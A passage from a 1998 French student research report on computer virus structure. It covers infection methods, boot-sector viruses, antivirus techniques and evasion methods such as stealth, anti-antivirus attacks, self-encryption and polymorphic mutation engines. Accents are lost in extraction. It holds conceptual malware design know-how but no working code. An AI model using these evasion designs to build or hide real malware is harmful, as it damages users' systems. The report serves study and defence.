Vous êtes sur la page 1sur 61

Projet de Fin dAnne E.

Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Structures des Virus Informatiques, et illustration sur HP48


Erwan Lemonnier Supaero juin 98

Introduction

- p3

Prsentation et objectif de ce PIR (Projet dInitiation a la Recherche)

Premire Partie : Structure des Virus Informatiques


1.

- p5

Structure dun virus informatique - p5 1.1. Dfinition dun systme informatique - p5 1.2. Principe de fonctionnement du virus - p6 1.3. Comparaison critique avec le virus biologique. p7 1.4. Les principaux types de virus : virus systme et infecteur de fichier - p7 1.5. La charge facultative dun virus - p8 Programmations des types fondamentaux de virus - p9 2.1. Virus infecteur de fichiers - p9 2.2. Virus systme - p11 Stratgie de lutte contre les virus - p12 3.1. Les scanners - p12 3.2. Les moniteurs de comportements - p13 3.3. Le contrle dintgrit - p13 Les virus contre-attaquent - p14 4.1. Stratgies de base - p14 4.2. Les virus furtifs - p15 4.3. Les virus rpressifs - p16 4.4. Les virus autocrypts - p16 4.5. Les virus polymorphes. Description dun Moteur de Mutation - p19 4.6. Les virus gntiques - p22 Riposte des antivirus - p22 5.1. Analyse spectrale - p23 5.2. Analyse heuristique - p23 Perspective davenir - p24 6.1. Dangers et bienfaits des virus - p24 6.2. Lescalade technique entre virus et antivirus cessera-t-elle un jour ? - p25

2.

3.

4.

5.

6.

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Seconde Partie : Exemples de virus programms sur HP48 p26 1.

Description de la HP48 - p26 1.1. Quest ce que la HP48 ? - p26 1.2. Pourquoi la HP48 ? - p27 1.3. Le langage de la HP48 - p27 1.4. Le microprocesseur de la HP48 - p28 1.5. Structure de la mmoire de la HP48 - p29 Virus cris en langage de haut niveau, infecteur de programme - p30 2.1. Principe - p30 2.2. Le virus dtaill - p30 2.2.1. Recherche dun fichier infecter - p30 2.2.2. Processus de reproduction - p32 2.3. Listing complet - p33 2.4. Commentaires - p33 Virus infecteur de librairie en assembleur - p34 3.1. Description de lobjet librairie - p34 3.2. Fonctionnement du virus - p36 3.3. Listing comment du virus - p38 3.4. Conclusion - p44 Un virus systme rsidant : LiPA - p45 4.1. Fonctionnement du reset de la HP48 et de sa Main Loop - p45 4.2. Fonctionnement de LiPA - p45 4.2.1. Auto-camouflage - p46 4.2.2. Auto-propagation - p46 4.3. Conclusion sur LiPA - p47 Virus hybride rsidant et autocrypt - p48 5.1. Fonctionnement du virus - p48 5.1.1. Installation du virus lors du reset - p48 5.1.2. Main Loop du virus - p48 5.1.3. Chiffrement du virus - p51 5.2. Listing comment du virus - p51 5.3. Conclusion sur ce virus - p58

2.

3.

4.

5.

6. Conclusion sur la partie exprimentale: difficults et intrt de la programmation p59

Rfrences bibliographiques

- p60

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Introduction

Les virus informatiques sont trs en vogue dans la presse informatique sensation. Ces programmes, qui sinfiltrent et se reproduisent dans un ordinateur linsu de son propritaire pour en prendre le contrle et y causer dventuels dgts, engendrent une fascination craintive et crdule. Il est en effet difficile destimer limportance relle accorder ces programmes, tant les mdias aiment entretenir cette aura trompeuse qui les entoure. Pourtant, linformaticien curieux qui dcide de sintresser au sujet et parvient faire la part de la vrit sur les virus, dcouvre en eux des objets minemment intressant. Le concept mme dun programme capable de se reproduire et d exister de manire autonome est sduisant en soi. De plus, la comptition engage entre les programmeurs de virus et dantivirus a cr une mulation favorable au dveloppement de techniques de programmations de pointes, o libre court est donn limagination du programmeur. Cest ainsi quon rencontre des virus qui se chiffrent eux mme ou sont polymorphes. Lordinateur devient une jungle passionnante o volue une faune virale pittoresque. Malheureusement, les virus, comme leur nom lindique sont souvent employs dans un but destructeur et les dgts logiciels quils causent atteignent des sommes leves. Cest pourquoi la lutte antivirus revt une telle importance. Pour la mener bien, il est ncessaire de commencer par dmystifier et comprendre les virus informatiques. Le but de ce Projet dInitiation la Recherche est dexpliquer dans une premire partie le fonctionnement des virus informatiques, puis, dans une seconde partie, de mettre en pratique ces algorithmes pour raliser un virus complet et efficace. Dans une premire partie, nous nous attacherons dgager les principes gnraux employs dans la programmation des virus, indpendamment de la machine utilise, et ce en faisant la synthse dune double exprience de la programmation des virus, la fois sur PC et ordinateur de poche. Nous commencerons donc par analyser la structure des virus fondamentaux, puis nous tudierons le fonctionnement des logiciels antivirus afin de comprendre les perfectionnements plus rcents des virus. Dans la seconde partie, nous illustrerons les principaux type de virus en tudiant un exemple de chacun deux, programm sur un ordinateur de poche, du type HP48. Nous pousserons cette tude, entre autre, jusqu lcriture dun virus systme et dun virus hybride autocrypt.

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Premire Partie :

Structure des Virus Informatiques


Lobjectif de cette partie est de prsenter les principes gnraux de la programmation des virus et des logiciels antivirus, par ordre de complexit croissante des techniques employes, et avec une volont de gnralisation. Elle a t entre autre inspir par les travaux de Mark Ludwig, chercheur amricain, et en particulier par son livre Du virus lantivirus.

1. Structure dun virus informatique

1.1.

Dfinition dun systme informatique

On entendra par ordinateur une machine dote dune mmoire contenant des programmes et des donnes, et dune unit centrale (ou CPU) capable dexcuter ces programmes, de lire et dcrire en mmoire. Pour la CPU, toute information situe en mmoire (programme comme donne) peut tre modifie, donc en particulier, un programme peut sauto-modifier ou modifier dautres programmes.

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

On entendra par systme informatique un ordinateur, isol ou en rseau, muni dun systme dexploitation et de logiciels et donnes utilisateurs. On dfinit deux types de fichiers : ceux utiliss par le systme et un ventuel administrateur systme, et ceux de lutilisateur normal. Dans un usage courant, on souhaite conserver lintgrit de certains fichiers, cest dire den interdire toute modification non autorise. Ce peut tre le cas des fichiers systmes en gnral, ou de fichiers utilisateurs de type logiciel ou donnes importantes. Le virus informatique, par son principe de fonctionnement, va porter atteinte lintgrit des fichiers, et prsente donc une menace.

1.2.

Principe de fonctionnement du virus

Un virus informatique est un programme, intgr dans un programme hte ou localis dans un champ spcifique de la mmoire, capable lors de son excution de crer une copie de lui mme quil insre dans un autre programme hte ou sur un autre champ de mmoire. Ce programme possde donc une proprit essentielle et originale : il sautoreproduit. De tels programmes sont donc assez mobile, et chappent aisment au contrle de lutilisateur, cest pourquoi ils sont souvent utiliss pour vhiculer un algorithme destructeur. Un virus doit contenir au moins deux parties pour pouvoir se reproduire lui mme : un algorithme de recherche dun fichier hte infecter, et un algorithme de recopie sur le fichier hte. On y ajoute ventuellement une troisime tape (destruction, espionnage) qui sera dtaille en 1.5. Lorganigramme fondamental dun virus informatique est donc le suivant :
Recherche dun fichier non contamin, infecter

Modification du fichier trouv et criture dune copie du virus lintrieur ou la place de ce fichier

Action facultative (destruction, observation )

Figure 1 : Structures dun virus

On verra par la suite quil sagit la dun schma simplifi, et que chacune de ces parties existe sous de trs nombreuses variantes que lon choisira en fonction de lenvironnement dans lequel doit voluer le virus : nature du systme informatique, structure des fichiers infecter, antivirus affronter Nous tacherons de faire le tour de toutes ces variantes.

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

1.3.

Comparaison critique avec le virus biologique.

Le terme de virus informatique fut propos pour la premire fois par Fred Cohen en 1985 dans une thse sur les programmes auto-reproducteur (voir Rfrences Bibliographiques), et sappuie sur des similitudes entre les virus informatiques et biologiques. Ils ont en effet pour point commun dintroduire une squence dinstruction, sous forme de programme pour lun et de morceau dADN pour lautre, dans un environnement (la cellule ou lordinateur), o cette squence va tre excute, cest dire reproduite. De plus, les virus les plus volus possdent des moteurs de mutations leur permettant de gnrer des versions nouvelles deux mme, et sont capables de sadapter la prsence dun antivirus pour optimiser leur chance de lui chapper (virus gntiques, voir 4.6). Ils ont ainsi des proprits qui rappellent les capacits de mutation et dadaptation des virus biologiques, leur point commun tant de devoir sadapter un environnement hostile, o il faut affronter selon le cas le systme immunitaire ou le logiciel antivirus. Cependant, le terme de virus est sujet polmique. En effet, la mtaphore biologique qui la inspire est limite car ces deux entits agissent dans des environnements totalement diffrents, et leurs fonctionnements dtaills nont rien en commun. En particulier, la notion de vie attache au virus biologique ne peut tre applique un programme informatique. De plus, le terme virus est porteur dune forte charge motionnelle, largement entretenue par la presse informatique, et qui dforme lopinion quon peut se faire de ces programmes. Enfin, pour beaucoup de gens, un virus est simplement un programme nuisible, indpendamment de toute notion dautoreproductibilit. Une dnomination mieux approprie a t suggre par Mark Ludwig dans son ouvrage de rfrence Naissance dun virus : il sagit de Code Parasite AutoPropageable (CPA). Dans le prsent rapport, le terme virus sera toujours prendre dans le sens de CPA.

1.4.

Les principaux types de virus : Virus systme et infecteur de fichier

On distingue 2 grandes catgories de virus, indpendamment de la machine pour laquelle un virus est crit : les virus infecteurs de fichiers et les virus systmes (ou rsident). Tout systme informatique possde des programmes lusage de lutilisateur, qui sont susceptibles de contenir un virus. Ceux-ci sont dit infecteurs de fichiers. Ils sont excuts chaque appel du programme qui les contient et assurent alors leur propagation. Dautre part, chaque mise sous tension, tout ordinateur commence par valuer une srie de programmes de dmarrage qui lui permettent de se configurer. Bien souvent, on peut modifier le contenu de ces programmes pour y introduire le code dinstallation dun virus ce qui permettra celui-ci de prendre le contrle du systme ds sa mis en service. Un tel virus est dit virus systme. La diffrence entre ces deux virus viens donc de ce que le second infecte des programmes du systme et nest excut quau dmarrage, tandis que le premier infecte les programmes de lutilisateur et est excut chaque appel de lun deux. Il existe galement des virus hybrides prsentant la fois ces deux modes de fonctionnements.

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Le fonctionnement de ces virus dpend intimement du systme informatique, cest dire : Du microprocesseur employ, car un virus efficace est programm en langage machine et nest donc pas portable. De la faon dont interagissent les priphriques et lunit centrale. Par exemple, les PCs emploient une table dinterruptions utilise par les virus pour dtourner certaines fonctions du systme, dont on ne trouve pas lquivalent sur une calculatrice de type HP48. Du fonctionnement du dmarrage de la machine, dans le cas des virus systmes. De la structure des objets excutables. Sur un PC, les fichiers .COM, .SYS et .EXE qui sont les cibles privilgies des virus infecteurs de fichiers ne sont pas structurs de la mme faon en mmoire. De mme pour les objets programmes et librairies que nous tudierons sur la HP48.

On constate au vu de ces contraintes quun virus est un programme trs spcifique, adapt une cible prcise, et dans un environnement prcis. Cependant, un virus peut tre conu de telle sorte quil infecte toute forme de code, mme celui qui doit encore tre compil ou interprt avant dtre excut. Ainsi, un virus peut infecter des programmes de types diffrents, ou encore un programme en C ou en Basic et nest donc absolument pas limit linfection des programmes crits en langage machine.

1.5.

La charge facultative dun virus

Dun certain point de vue, le virus informatique est un support pour vhiculer un programme de faon invisible et efficace. Sous ce point de vue, la partie facultative dcrite en 1.2 a un rle essentiel. Dans la majorit des virus, il sagit dun programme destructeur, visant effacer des fichiers importants ou planter la machine. Il peut aussi servir espionner le systme pour, par exemple, lister les mots de passes des utilisateurs et les transmettre au programmeur du virus. Le champ des possibilits a en fait limagination du programmeur pour seule limite. Notons que cette action peut aussi tre bnfique. Il existe par exemple des virus antivirus, qui limine certains virus cibles lorsquils sont prsents sur le programme hte quils infectent, et contrlent ensuite leur hte pour alerter toute tentative dinfection. Dautres servent conomiser de la mmoire en compressant le programme hte, et en le dcompressant chaque excution. Ainsi, la proprit de reproduction autonome des virus prsente la fois de nets risques et de grands avantages. Cest donc une technique digne dtude.

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

2. Programmations des types fondamentaux de virus


2.1. Prliminaires

Les programmeurs de virus utilisent normment dastuces ou de failles des systmes informatiques qui sont trs spcifiques, cest pourquoi les algorithmes qui vont vous tre prsents dans cette partie sont des cas possibles parmi beaucoup dautre, dont on ne peut dresser ici une liste exhaustive. Linventivit des programmeurs de virus est en effet stupfiante. Dautre part, pour ne pas rentrer dans des dtails de programmation qui seront ultrieurement tudis en partie 2, les algorithmes fournis seront simplifis lextrme.

2.2.

Les virus infecteurs de fichier

Tout virus infecteur de fichier excute en premier une routine de recherche dun fichier hte sain contaminer. Prenons le cas dun virus cherchant un fichier .HOT dans une arborescence de rpertoires DIR. Lorganigramme dune telle routine pourrait tre le suivant :

Y a t il un DIR non explor ? Oui

Non

Fin

Ouvre DIR

Non

Y a t il un fichier .HOT dans DIR ? Oui

Infection de .HOT

Figure 2 : Algorithme de recherche dun fichier infecter

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Il existe plusieurs faons dinstaller un virus infecteur dans un fichier hte (partie infection ci-dessus). Nous en distinguerons 3 : Par recouvrement du programme hte par le code du virus. Le programme hte est alors perdu. Notons quun tel virus est trs facile raliser mais aisment identifiable. En renommant le programme hte avec un nom excentrique, et en prenant le nom original de lhte (virus compagnon). Ou en se copiant lintrieur du programme hte, ce qui impose den modifier la structure.

La dernire stratgie est la plus employe car cest la plus discrte. Etudions la en dtail. Sois un programme .HOT infecter. Sa structure en mmoire est typiquement :

Zone Prfixe de Programme

Figure 3.1 : Structure dun fichier infecter

Programme .HOT

Un virus a alors 2 faons de sintroduire dans le programme .HOT : en se copiant au dbut du programme et en dcalant ce dernier , ou en se copiant a la fin et en incluant un saut au dbut du fichier .HOT.

Zone Prfixe de Programme Virus Programme .HOT

Zone Prfixe de Programme Saut vers le virus Programme .HOT

Virus

Figure 3.2 : Fichier infect par un virus parasite

Un dernier type de virus infecteur de fichier est le virus rsidant. Celui-ci ne se reproduit pas lorsque le programme hte est excute, mais se recopie dans un zone mmoire o il reste en veille en dtournant par exemple des interruptions systmes (cas du PC). Il ne se reproduira que lorsque linterruption sera appele. Il est ainsi dissoci de son programme hte, ce qui rduit les risques de se faire reprer.

10

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

2.3.

Les virus systmes

Chaque systme informatique (PC, station Sun, HP48) possde son propre mode de dmarrage, auquel le virus systme est intimement li. Nous allons donc nous restreindre au cas des PC pour comprendre comment marche un virus systme. Lors de sa mise sous tension, la CPU (unit centrale) du PC commence par excuter un programme crit en ROM, le BIOS, charg de configurer la machine autour de la CPU. En fin dexcution, le BIOS recherche une zone mmoire, appele secteur de dmarrage, et charge la CPU de lexcuter. Ce secteur de dmarrage contient un programme construit par le systme dexploitation pour permettre la CPU de le lancer. Le virus systme est install de faon tre excut avec ce programme. Pour cela, il le remplace en gnral sur le secteur de dmarrage, aprs en avoir fait une copie qui sera excut aprs le virus. Pour se reproduire, le virus systme a 2 possibilits : soit il cherche un autre disque pour en infecter le secteur de dmarrage (Tout disque, ou disquette, en contiens effectivement un). Soit, il infecte un fichier utilisateur, depuis lequel il infectera ultrieurement un autre disque, ou encore il se fait rsidant. Dans ce dernier cas, le virus est dit hybride. Un virus systme rudimentaire pourrait fonctionner comme suit (Figures 4.1 et 4.2) :

CPU

BIOS
Disque A : Secteur de dmarrage Disque A : Secteur de dmarrage

Virus

Data Data Data Data

Programme Data Data Data Data Data

Copie de sauvegarde du secteur de dmarrage du Disque A

Programme Data Data

11

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Figure 4.1 : appel du virus systme au dmarrage.

Y a t il un disque infecter ? Oui : le disque C Non

Fait une copie de sauvegarde du secteur de dmarrage de C

Se recopie sur le programme de dmarrage du secteur C

Charge et excute la copie de sauvegarde du secteur de A

Figure 4.2 : Action dun virus systme simple

3. Stratgies de lutte contre les virus


Les virus tant le plus souvent dangereux pour lordinateur, il est ncessaire de russir les dtecter pour les liminer. Il existe pour cela de nombreuses techniques.

3.1.

Le scanning

Les virus que nous avons vu sont identiques dune copie lautre. Il est donc ais, une fois le virus identifi, de lui prlever une chane doctets, et de parcourir toute la mmoire la recherche dune chane similaire. Cest le principe du scanning. Pour que cette chane soit reprsentative du virus, et que lon minimise le risque de trouver un programme sain comportant une chane identique, on prlve cette chane dans une partie caractristique du virus, par exemple son algorithme dinfection, et on la prend dune longueur maximale. De plus, lantivirus effectue des tests complmentaires lorsque cette chane est retrouve en mmoire, pour viter toute incertitude.

12

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Un logiciel antivirus utilisant le scanning contiens une base de donnes de chanes extraites de virus, associes des procdures spcifiques pour identifier prcisment et liminer chaque virus connu. Un tel logiciel a lavantage dtre simple utiliser et de fournir des informations claires, du type Le fichier Truc.HOT a t infect par le virus Un_Tel. Il est donc trs apprci par la majorit non spcialiste des utilisateurs dordinateurs. Son inconvnient est de ncessiter de constantes mises jour de sa base de donne pour sadapter lapparition de virus nouveaux. De plus, il est totalement dmuni face un virus polymorphe.

3.2.

Les moniteurs de comportement

Cest un programme qui surveille le systme la recherche dune action trahissant la prsence dun virus. Cette action peut tre par exemple une demande douverture en criture dun fichier programme ou une tentative dcriture sur un secteur de dmarrage. Sur un PC, un tel logiciel se prsente sous la forme dun programme rsidant qui dtourne quelques interruptions du systme gnralement employes par les virus, pour donner lalerte lorsquelles seront employes. Il existe galement des moniteurs matriels, effectuant un contrle au niveau du hardware de faon interdire physiquement un accs douteux certaines zones mmoires. Un tel moniteur offre une scurit absolue, mais doit tre intgr la structure matrielle de lordinateur. Ce genre dantivirus est plus sr que le scanner, car il est susceptible de dtecter un virus inconnu, mais est difficile demploi pour un utilisateur peu averti, car il nidentifie pas formellement un virus et ne peu donc leffacer. Cest lutilisateur de grer lui-mme la prsence du virus.

3.3.

Le contrleur dintgrit

Schmatiquement, un contrleur dintgrit va construire un fichier contenant les noms de tous les fichiers prsents sur le disque, ainsi que quelques unes de leurs caractristiques (date de dernire modification, taille, code de redondance cyclique). Ils surveillent rgulirement ces fichiers, et alerteront lutilisateur ds que les paramtres de lun deux auront t modifis. Il effectue alors des tests sur le fichier suspect, pour dterminer si il est infect ou si il sagit dune manipulation de lutilisateur. Linconvnient est quun programme dj infect lors de son marquage par le moniteur de comportement ne sera pas considr comme suspect par la suite.

13

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

4. Les virus contre-attaquent


4.1. Stratgie de base

Avec lapparition des premiers logiciels antivirus, les programmeurs de virus se sont mis chercher des mthodes pour permettre leur virus dchapper la dtection de lantivirus. Ils en ont trouv de nombreuses, allant de la simple astuce de programmation la conception sophistique de virus auto-modifiants. Les mthodes les plus simples sont passives, et consistent rendre le virus le plus discret possible dans son excution. Les contraintes imposes au virus seront par exemple : Dtre le plus petit possible en terme de taille mmoire. Le virus sera donc crit en utilisant au maximum des appels des fonctions toutes faites intgres au systme dexploitation (interruptions du DOS dans le cas des PC et appel des programmes bass en ROM pour la HP48). Il vitera galement de contaminer plus dune fois un mme programme afin de ne pas modifier exagrment sa taille. Pour cela, les virus posent en gnral une sorte de signature sur les programmes infects, qui peuvent tre une modification dans la date de cration du programme ou linsertion dune chane doctets caractristique. A titre danecdote, il existe des virus infecteurs de fichiers qui compressent leur programme hte avant de sy recopier pour ne pas en modifier la taille. Ils le dcompressent ensuite chaque utilisation. De sexcuter rapidement pour ne pas veiller lattention de lutilisateur. En effet, un lecteur de disquette en train dcrire alors que lutilisateur ne sen sert pas peut lalerter. Le virus doit donc possder un algorithme de recherche de fichiers contaminer et dun mcanisme de rplication les plus rapides possibles, quitte, par exemple, abandonner la recherche dune cible sil a dpass un temps limite. De ne pas apporter de modifications visibles la structure des rpertoires utilisateurs, par exemple en renommant un programme.

Tous les virus actuels rpondent au moins ces critres. Cependant, un virus qui vrifie ces conditions peut chapper la vigilance de lutilisateur mais pas celle dun logiciel antivirus, cest pourquoi dautres techniques plus sophistiques ont vu le jour.

14

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

4.2.

Les virus furtifs

Le principe de la furtivit est de faire croire lantivirus que le virus nest pas l. Les techniques employes diffrent selon que lon considre un virus systme et un virus infecteur de fichiers. Pour pouvoir tre prcis, plaons nous dans un environnement PC.

4.2.1. Cas du virus systme Lantivirus testera la prsence dun virus systme de deux manires. Il pourra commencer par aller lire les programmes du secteur de dmarrage. Pour cela, il effectue une demande de lecture en faisant appel une interruption du DOS. Or, rien nempche le virus davoir dtourn linterruption en question vers un programme interne au virus, qui teste si la demande de lecture est dirige vers un secteur de dmarrage, et si tel est le cas loriente vers une copie de sauvegarde saine du secteur de dmarrage. Lantivirus croira ainsi le secteur sain et en conclura labsence de virus. Cette mthode est efficace en particulier pour tromper les scanners. Cette mthode est ancienne (anne 80) et les antivirus actuels la contournent en faisant une lecture directement sur les ports dentre-sortie de la machine, mais cela ncessite une programmation dlicate qui prenne en compte laspect lectronique de la machine. On peut aussi imaginer que le scanner se dote dun programme danalyse heuristique qui vrifie que la routine daccs en lecture pointe par la table des interruptions nest pas celle dun virus. Les virus peuvent encore ragir en dtournant dautres interruptions systmes quun antivirus souhaitant utiliser les entres-sorties directement est oblig dappeler, afin de le tromper de nouveau. Lantivirus peut son tour contourner lusage de ces interruptions. On prend ici conscience dun phnomne essentiel : virus et antivirus se font une guerre continuelle o chacun tente de dpasser lautre par lemploi de techniques de plus en plus complexes. Un antivirus pourra galement chercher un virus systme en mmoire vive. En effet , un virus systme sinstalle souvent comme rsidant en mmoire et doit donc y assurer sa furtivit. En gnral, lantivirus teste la prsence dun virus rsidant en calculant la taille de mmoire vive disponible et en la comparant avec la valeur indique par le systme. Pour viter dtre localis ainsi, le virus essaie de modifier le paramtre systme donnant la taille de mmoire vive. Il peut galement quitter la mmoire vive ds que le systme dexploitation a fini de se charger, pour aller se cacher dans une zone mmoire inutilise.

4.2.2. Cas du virus infecteur de fichier Un virus infecteur de fichier dispose lui aussi dun large panel de tactiques pour devenir furtif. La principale consiste dtourner les interruptions servant lire un fichier, pour, lorsquil sagit dun fichier infect, modifier laccs en le re-dirigeant vers le mme fichier

15

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

mais sain. L encore, virus et antivirus se talonnent pour respectivement dtourner et contourner un maximum dinterruptions ayant trait laccs au fichiers. Toutes les techniques si dessus concernent des virus dans un environnement PC sous DOS. Un autre systme informatique ne possde pas forcement de possibilits analogues au dtournement des interruptions du DOS, aussi ces techniques de furtivit ne sont elles pas gnralisables. Par exemple, on ne peut rien faire de tel sur HP48, et il faut y inventer dautres mthodes.

4.3.

Les virus rpressifs

Les virus peuvent aussi adopter une attitude agressive vis vis des antivirus. En effet, part le scanner et les analyseurs, les antivirus ne dtectent la prsence dun virus que lorsque celui-ci est excut ou en cours dexcution. Le virus est donc libre de vrifier la prsence dun antivirus connu, et sil le trouve, dentreprendre une action en consquence. Cette technique peut tre dautant plus efficace que les antivirus les plus rpandus sont en petit nombre, et quil est donc possible de les lister et dinclure dans le virus un programme de traitement pour chacun. Les virus utilisent alors les mmes techniques que les antivirus pour trouver ces derniers. Le virus peut agir de diffrentes manires contre lantivirus: il peut simplement faire planter lordinateur ou dtruire le contenu dun disque. Il peut reconnatre lantivirus et le modifier pour le rendre inoffensif. Dans le cas dun contrleur dintgrit, par exemple, il peut rechercher le fichier dans lequel le contrleur stocke les proprits des programmes et leffacer, ou le modifier pour y inclure les modifications apportes un programme lorsque celui-ci est infect. Certains virus dsassemblent lantivirus et y cherchent certaines routines spcifiques pour les rendre inoprantes. Mais les techniques de ce genre sont employes au cas par cas, car elles sont trs dpendantes de lantivirus contourner. Bilan partiel : Les virus rpressifs et furtifs que nous venons dtudier ont linconvnient majeur dutiliser une surenchre dastuces excessivement techniques, o aucune limite thorique ne vient borner la complexit que lon peut atteindre, ni assurer que lun des deux, virus ou antivirus, lemportera sur lautre. Cela conduit lcriture de virus de plus en plus compliqus, donc de tailles importantes et lents. Pour fuir cette impasse, les programmeurs de virus ont dvelopp une technique totalement diffrente, qui est la fois trs efficace et sduisante : les virus polymorphes. Avant den expliquer le principe, il conviens de regarder ce quest un virus autocrypt.

4.4.

Les virus autocrypts

Les virus autocrypts sont une tape prliminaire lcriture de virus polymorphes. Leur objectif est de minimiser les chances dtre reconnus par un scanner ou un analyseur en modifiant dune copie lautre une partie de leur code. Ceci est obtenu en

16

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

chiffrant une partie du code du virus avec une clef de chiffrement qui varie chaque gnration. Ainsi, diffrentes copies dun virus autocrypts ne possdent quune faible portion de code en commun, portion constitue en fait par la fonction de dchiffrement. Du coup, un scanner doit possder une portion du code de cette fonction pour esprer identifier le virus. Un virus autocrypt agit comme suit : Lorsquil est dans un programme hte, il est entirement chiffr lexception de la fonction de dchiffrement. Lors de lexcution du programme hte, cest cette fonction qui est appele en premier. Elle recopie alors le virus dans un espace de mmoire libre, ly dchiffre, et lui passe le contrle. Celui-ci sexcute, puis passe le contrle en retour au programme hte qui sexcute normalement. Lorsquil est en mmoire ltat dchiffr, il recherche un fichier ou un secteur infecter. Celui-ci trouv, il ne sy recopie pas tel quel, mais y cris une version chiffre de lui-mme, avec une nouvelle clef de chiffrement alatoire quil inclut dans la nouvelle fonction de dchiffrement, afin quelle puisse dchiffrer le code de son virus. Ainsi, le code de cette version lui diffre totalement, lexception de la boucle de dchiffement toujours visible. La figure 5.1 reprsente un cas possible de virus autocrypt infecteur de fichier, et la figure 5.2 explique le fonctionnement du programme dinfection de ce virus.

Zone Prfixe de Programme Saut vers le virus Programme .HOT

Boucle de dchiffrement Clef 1 Code chiffr du virus

V I R U S

Recopie le virus en mmoire Le dchiffre avec Clef 1 Evalue la copie

Copie dchiffre du virus Recherche de fichier sain Oui Non Infection Action facultative Retour au programme hte 17

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Figure 5.1 : Fonctionnement dun virus autocrypt infecteur de fichier

Dcale le programme Cible.HOT et crit dans lintervalle un saut vers lemplacement futur de la boucle de dchiffrement

Gnre une clef alatoire Clef 2

Recopie le code du virus aprs Cible.HOT

Chiffre ce code avec Clef 2, lexemption de la boucle de dchiffrement

Ecrit Clef 2 dans la nouvelle boucle de dchiffrement

Amnagements supplmentaires (Rcriture de la zone prfixe, calcul de CRC)

Figure 5.2 : Dtail des actions du programme dinfection du virus dcris en 5.1

Comment seffectue le chiffrement ? Il existe une quantit de mthodes de chiffrement. Ici, on ne cherche pas protger une information, mais juste la rendre mconnaissable, aussi les programmeurs de virus autocrypts optent ils le plus souvent pour le chiffrement le plus simple : le ou-exclusif avec une clef choisie alatoirement. Cette clef est souvent une chane de bit prise dans une zone mmoire dont le contenu change frquemment (compteur dhorloge, buffer dentr -sortie).

18

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

4.5.

Les virus polymorphe. Description dun Moteur de Mutation.

Les virus autocrypts possdent une faille dimportance : la fonction de dchiffrement est conserve dune gnration lautre, et permet donc didentifier aisment le virus laide dun scanner. Do un dfi pos aux programmeurs de virus : concevoir un programme qui puisse fabriquer des boucles de dchiffrement en nombre lev et toutes diffrentes les unes des autres. Ce programme serait inclus dans la partie chiffre dun virus autocrypt. Ainsi, un tel virus naurait potentiellement aucun point commun avec les copies de lui-mme quil gnrerait, puisque le code de sa partie crypte serait chaque fois diffrent, et que celui de sa boucle de dchiffrement prsenterait toujours de lgres variations dune copie lautre, empchant ainsi lexistence de chanes de code commune. Pour cette raison, on baptiserait ce virus : polymorphe. Un virus polymorphe serait invulnrable aux scanners, qui reprsentent la majorits des logiciels antivirus utiliss, et pourrait mme employer des techniques de furtivit pour chapper aux autres antivirus. Or, il est possible dcrire un tel programme gnrateur de fonctions de dchiffrement. Il est appel Moteur de Mutation (Mutation Engine). Nous allons tudier la structure de ce moteur, pour ensuite dcrire larchitecture de base dun virus polymorphe.

4.5.1. Fonctionnement du Moteur de Mutation Le Moteur de Mutation est un programme capable de construire des boucles de dchiffrement implantant la mme fonction, mais codes diffremment. Il y a plusieurs faons de raliser un tel programme, selon que lon souhaite une plus ou moins grande efficacit dans la varit des boucles gnrer. Une premire possibilit consiste fabriquer une fonction de dchiffrement simple, et la stocker comme donne, instruction par instruction, dans un programme. Celui-ci la recopiera en intercalant alatoirement entre chaque instruction de la boucle une instruction inutile et sans effet sur le fonctionnement de la boucle. On pourra par exemple intercaler des instruction nop (instruction qui ne fait rien, code sur un nombre variable de bits), ou modifier des registres qui ne servent pas (mov a b, xor a b). Un tel programme est une version simple dun Moteur de Mutation et permet dj de gnrer une grande varit de boucles diffrentes. Nous allons illustrer cette ide. Prenons deux registres a et b dun microprocesseur. Linstruction mov x y sert charger la valeur de y dans x. nop est une instruction qui ne fait rien. Considrons le court programme :
Mov a #123

19

Projet de Fin dAnne E.Lemonnier Supaero 97 Fonctionnement des virus informatiques, exemples sur HP48

Mov b #ABC

Ce programme se contente de charger les registres a et b avec respectivement les nombres 123 et ABC, crit en base hexadcimale. Un tel programme pourrait aussi scrire :
Mov a #123 Nop Nop Mov b #ABC Nop

Ou encore, si c est un registre inutilis :


Mov a #123 Mov c #000 Nop Mov b #ABC

